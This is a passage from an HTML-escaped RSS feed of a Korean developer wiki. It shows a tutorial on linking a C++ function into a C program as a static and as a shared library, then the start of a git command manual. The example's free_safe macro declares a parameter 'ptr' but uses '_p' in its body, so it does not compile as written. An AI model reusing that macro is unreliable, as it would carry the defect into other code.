class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;strcpy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;C언어 소스에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;str_plustest&lt;/code&gt; 함수를 사용하기 위해 다음과 같이 작성했다.&lt;/p&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; #include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; &lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&quot;testfunc.h&quot;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; &lt;/span&gt; &lt;span class=&quot;cp&quot;&gt;#define free_safe(ptr) if((_p) != NULL) { free((_p)); (_p) = NULL; } &lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Hello &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;World!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;str_plustest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;str2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;CONSOLE | result : %s&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;free_safe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;그리고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testfunc.cpp&lt;/code&gt; 와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testfunc.h&lt;/code&gt; 파일은 cpp 디렉토리에 위치하도록 하였다.&lt;/p&gt; &lt;p&gt;이렇게 하면 소스는 준비가 끝난 것이다.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls -al ./&lt;/code&gt; 결과&lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cpp/&lt;/code&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testfunc.cpp&lt;/code&gt;&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;testfunc.h&lt;/code&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main.c&lt;/code&gt;&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;&lt;strong&gt;리눅스에서 C 관련 라이브러리를 사용하기 위해서는 라이브러리의 이름이 lib로 시작해야 한다.&lt;/strong&gt;&lt;/p&gt; &lt;h2 id=&quot;1-정적-라이브러리-a-로-임포트&quot;&gt;1. 정적 라이브러리 (.a) 로 임포트&lt;/h2&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# cd cpp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;LIBRARY_NAME&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;testfunc&quot;&lt;/span&gt; g++ &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; testfunc.cpp &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; testfunc.o ar rcs &lt;span class=&quot;s2&quot;&gt;&quot;lib&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;LIBRARY_NAME&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.a&quot;&lt;/span&gt; testfunc.o &lt;span class=&quot;c&quot;&gt;# 별다른 문제가 없다면 libtestfunc.a 파일이 생성된다.&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;그리고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main.c&lt;/code&gt; 파일을 빌드한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# -I : include 헤더를 참조할 디렉토리 경로 (testfunc.h를 cpp 디렉토리에 넣었으므로 추가.)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# -L : 라이브러리를 참조할 디렉토리 경로&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# -l : 라이브러리 이름 (libtestfunc.a 파일을 참조한다.)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# libtestfunc.a 파일을 참조하고 싶다면, lib를 뺀 이름을 넣어야 한다.&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# -lstdc++ : C++ 표준 라이브러리 링크&lt;/span&gt; gcc main.c &lt;span class=&quot;nt&quot;&gt;-I&lt;/span&gt;./cpp &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt;./cpp &lt;span class=&quot;nt&quot;&gt;-ltestfunc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-lstdc&lt;/span&gt;++ &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; main &lt;span class=&quot;c&quot;&gt;# 별다른 문제가 없다면 main 바이너리 파일이 생성된다.&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;생성된 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;./main&lt;/code&gt; 파일을 실행하면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hello World!&lt;/code&gt; 가 출력된다.&lt;/p&gt; &lt;h2 id=&quot;2-동적-라이브러리-so-로-임포트&quot;&gt;2. 동적 라이브러리 (.so) 로 임포트&lt;/h2&gt; &lt;p&gt;명령어가 조금 다르다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# cd cpp&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;LIBRARY_NAME&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;testfunc&quot;&lt;/span&gt; g++ &lt;span class=&quot;nt&quot;&gt;-fPIC&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-c&lt;/span&gt; testfunc.cpp &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; testfunc.o g++ &lt;span class=&quot;nt&quot;&gt;-shared&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;lib&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;LIBRARY_NAME&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;.so&quot;&lt;/span&gt; testfunc.o &lt;span class=&quot;c&quot;&gt;# 별다른 문제가 없다면 libtestfunc.so 파일이 생성된다.&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main.c&lt;/code&gt; 파일을 빌드하는 과정은 똑같다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# -I : include 헤더를 참조할 디렉토리 경로 (testfunc.h를 cpp 디렉토리에 넣었으므로 추가.)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# -L : 라이브러리를 참조할 디렉토리 경로&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# -l : 라이브러리 이름 (libtestfunc.a 파일을 참조한다.)&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# libtestfunc.a 파일을 참조하고 싶다면, lib를 뺀 이름을 넣어야 한다.&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# -lstdc++ : C++ 표준 라이브러리 링크&lt;/span&gt; gcc main.c &lt;span class=&quot;nt&quot;&gt;-I&lt;/span&gt;./cpp &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt;./cpp &lt;span class=&quot;nt&quot;&gt;-ltestfunc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-lstdc&lt;/span&gt;++ &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; main &lt;span class=&quot;c&quot;&gt;# 별다른 문제가 없다면 main 바이너리 파일이 생성된다.&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;동적 라이브러리이기 때문에 동적 라이브러리 실행에 대한 환경변수를 설정해 줘야 한다.&lt;/p&gt; &lt;p&gt;다음과 같이 실행한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# LD_LIBRARY_PATH : 동적 라이브러리를 참조할 디렉토리 경로&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;LD_LIBRARY_PATH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;./cpp ./main &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;참고&quot;&gt;참고&lt;/h1&gt; &lt;p&gt;정적 라이브러리와 동적 라이브러리의 차이&lt;/p&gt; &lt;ul&gt; &lt;li&gt;정적 라이브러리는 컴파일 시점에 라이브러리를 링크한다. 실행 파일에 내용이 모두 들어가기 때문에 실행 파일이 커진다. &lt;ul&gt; &lt;li&gt;대신 프로그램 안에 모든 내용이 들어가기 때문에 실행 파일만 있으면 실행이 가능하다.&lt;/li&gt; &lt;li&gt;프로그램이 로드되는 시점에는 정적 라이브러리의 내용을 메모리에 로드해야 하기에 시간이 느리지만, 수행 시간은 동적 라이브러리에 비해 빠르다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;동적 라이브러리는 실행 시점에 라이브러리를 링크한다. 실행 파일이 작아진다. &lt;ul&gt; &lt;li&gt;런타임 시점에서 라이브러리를 로드하기 때문에 실행 파일만 있으면 실행이 불가능하다.&lt;/li&gt; &lt;li&gt;동적 라이브러리에 대한 의존성이 있고, 어떤 동적 라이브러리 모듈을 참조할지 알아야 하기에 추가적인 환경변수 지정 등이 필요하다. &lt;ul&gt; &lt;li&gt;ex ) &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/ld.so.conf.d&lt;/code&gt; 수정 이후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ldconfig&lt;/code&gt; 적용 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;LD_LIBRARY_PATH&lt;/code&gt; 환경변수 설정 등..&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;프로그램이 로드되는 시점에는 동적 라이브러리의 내용을 메모리에 로드해야 하기에 시간이 빠르지만, 함수 호출 마다 라이브러리의 주소에 접근해야 하기에 수행 시간이 느리다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;p&gt;라이브러리마다 각각의 장단점이 있으므로 상황에 맞게 사용하면 된다.&lt;/p&gt; </description><pubDate>Tue, 03 Dec 2024 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/lang/c/cpp_c</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/lang/c/cpp_c</guid> <category>c</category> <category>build</category> <category>library</category> <category>c</category> </item> <item><title>git manual</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#git&quot;&gt;Git&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#커밋-메시지-컨벤션&quot;&gt;커밋 메시지 컨벤션&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-config&quot;&gt;git config&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#option&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-username-설정&quot;&gt;git username 설정&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-email-설정&quot;&gt;git email 설정&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-editor-설정-기본에디터는-nano&quot;&gt;git editor 설정 (기본에디터는 nano)&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-alias&quot;&gt;git alias&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-원격-저장소에서-삭제된-branch를-로컬-저장소에서-자동으로-지우기&quot;&gt;Git 원격 저장소에서 삭제된 branch를 로컬 저장소에서 자동으로 지우기&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-diff-tool-변경&quot;&gt;git diff tool 변경&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-ssh-명령어-설정&quot;&gt;git ssh 명령어 설정&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#항상-현재-브랜치로-푸시시키기&quot;&gt;항상 현재 브랜치로 푸시시키기&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-add&quot;&gt;git add&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-mv&quot;&gt;git mv&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-rm&quot;&gt;git rm&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#option-1&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-commit&quot;&gt;git commit&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#option-2&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-push&quot;&gt;git push&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#option-3&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#etc&quot;&gt;etc&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-fetch&quot;&gt;git fetch&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-pull&quot;&gt;git pull&lt;/a&gt; - &lt;a href=&quot;#다른-브랜치에서-특정-브랜치의-내용을-가져올-때&quot;&gt;다른 브랜치에서 특정 브랜치의 내용을 가져올 때&lt;/a&gt; - &lt;a href=&quot;#다른-브랜치에서-또다른-브랜치의-내용을-가져올-때&quot;&gt;다른 브랜치에서 또다른 브랜치의 내용을 가져올 때&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-clone&quot;&gt;git clone&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#option-4&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-init&quot;&gt;git init&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-merge&quot;&gt;git merge&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#option-5&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-rebase&quot;&gt;git rebase&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-checkout&quot;&gt;git checkout&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-reset&quot;&gt;git reset&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#command&quot;&gt;COMMAND&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#option-6&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-revert&quot;&gt;git revert&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-branch&quot;&gt;git branch&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-cherry-pick&quot;&gt;git cherry-pick&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#option-7&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-remote&quot;&gt;git remote&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#option-8&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#command-1&quot;&gt;Command&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-stash&quot;&gt;git stash&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#command-2&quot;&gt;Command&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#opotion&quot;&gt;Opotion&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#스테쉬-옵션-상세-설명&quot;&gt;스테쉬 옵션 상세 설명&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-tag&quot;&gt;git tag&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#관련-command&quot;&gt;관련 Command&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#option-9&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-diff&quot;&gt;git diff&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#option-10&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-apply&quot;&gt;git apply&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#option-11&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-show&quot;&gt;git show&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#option-12&quot;&gt;Option&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-submodule&quot;&gt;git submodule&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#command-3&quot;&gt;Command&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-bisect&quot;&gt;git bisect&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-svn&quot;&gt;git-svn&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#git-svn-init&quot;&gt;git-svn init&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-svn-fetch&quot;&gt;git-svn fetch&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#git-svn-dcommit&quot;&gt;git-svn dcommit&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h1 id=&quot;git&quot;&gt;Git&lt;/h1&gt; &lt;h2 id=&quot;커밋-메시지-컨벤션&quot;&gt;커밋 메시지 컨벤션&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;feat&lt;/code&gt; : 새로운 기능 추가/개선&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fix&lt;/code&gt; : 버그 수정&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;design&lt;/code&gt; : css 등 사용자 UI 디자인 변경&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;comment&lt;/code&gt; : 필요한 주석 추가 및 변경&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;docs&lt;/code&gt; : 문서 수정&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;style&lt;/code&gt; : 코드 포맷팅, 세미콜론 누락, 코드 변경이 없는 경우&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;refactor&lt;/code&gt; : 코드 리팩토링&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test&lt;/code&gt; : 테스트 코드, 리펙토링 테스트 코드 추가&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chore&lt;/code&gt; : 빌드 업무 수정, 패키지 매니저 수정&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rename&lt;/code&gt; : 파일 혹은 폴더명을 수정하거나 옮김&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;del&lt;/code&gt; : 파일 혹은 폴더를 삭제&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;revert&lt;/code&gt; : 이전 커밋을 되돌림&lt;/li&gt; &lt;/ul&gt; &lt;h2 id=&quot;git-config&quot;&gt;git config&lt;/h2&gt; &lt;h4 id=&quot;option&quot;&gt;Option&lt;/h4&gt; &lt;ul&gt; &lt;li&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--global&lt;/code&gt; : 전역 설정 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;~/.gitconfig&lt;/code&gt;에 